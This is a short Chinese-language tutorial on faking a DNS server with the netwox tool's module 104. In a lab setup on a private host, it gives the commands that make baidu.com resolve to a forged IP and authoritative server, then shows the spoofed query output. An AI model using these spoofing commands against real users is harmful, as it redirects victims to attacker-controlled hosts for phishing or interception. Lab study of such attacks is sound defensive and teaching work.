如何偽造DNS伺服器?

2020-07-16 10:05:12
DNS 伺服器是進行域名和與之相對應的 IP 地址轉換的伺服器。正常情況下,使用者存取域名網站,首先從 DNS 伺服器上或權威名稱伺服器上獲取域名對應的 IP 地址,然後根據該 IP 地址存取網站。

為了能夠使使用者混淆,netwox 工具提供了編號為 104 的模組。它可以偽造 DNS 伺服器,手動設定假的域名與 IP 地址的對應關係。這樣,使用者會獲取一個域名對應的錯誤 IP 地址。

【範例】在主機 192.168.59.133 上偽造域名 baidu.com 的 DNS 伺服器。

1) 偽造域名 baidu.com 的 DNS 伺服器,偽造該域名對應的 IP 地址為 110.111.112.113,該域名的權威名稱伺服器為 123.baidu.com,對應的 IP 地址為 56.67.78.89。

執行命令如下:

[email protected]:~# netwox 104 -h baidu.com -H 110.111.112.113 -a 123.baidu.com -A 56.67.78.89

執行命令後將成功偽造域名 baidu.com 的 DNS 伺服器,當有使用者向該伺服器請求域名 baidu.com 對應的 IP 地址時,將會給出偽造的地址。

2) 這時,使用 netwox 工具中編號為 102 的模組,請求域名 baidu.com 對應的IP地址,執行命令如下:

[email protected]:~# netwox 102 -i 192.168.59.133 -n baidu.com -y a

執行命令後,將從偽造的 DNS 伺服器(地址為 192.168.59.133)上獲取對應的 IP 地址、權威伺服器以及對應的 IP 地址資訊。

獲取到的資訊如下:
DNS_question_________________________________________________.      #DNS請求
| id=29841  rcode=OK             opcode=QUERY                        |
| aa=0 tr=0 rd=0 ra=0  quest=1  answer=0  auth=0  add=0              |
| baidu.com. A                                                       |
|__________________________________________________________          |
DNS_answer________________________________________________.         #DNS響應
| id=29841  rcode=OK             opcode=QUERY                        |
| aa=1 tr=0 rd=0 ra=0  quest=1  answer=1  auth=1  add=1              |
| baidu.com. A                                                       |
| baidu.com. A 10 110.111.112.113                                    |
#域名對應的IP地址
| 123.baidu.com. NS 10 123.baidu.com.                                | 
#權威伺服器名稱
| 123.baidu.com. A 10 56.67.78.89                                    |      
#權威伺服器IP地址
|_____________________________________________________________       |
從輸出資訊可以看到,獲取到的域名 baidu.com 對應的 IP 地址為偽造的地址 110.111.112.113,該域名的權威伺服器也是偽造的伺服器 123.baidu.com,對應的 IP 地址為 56.67.78.89。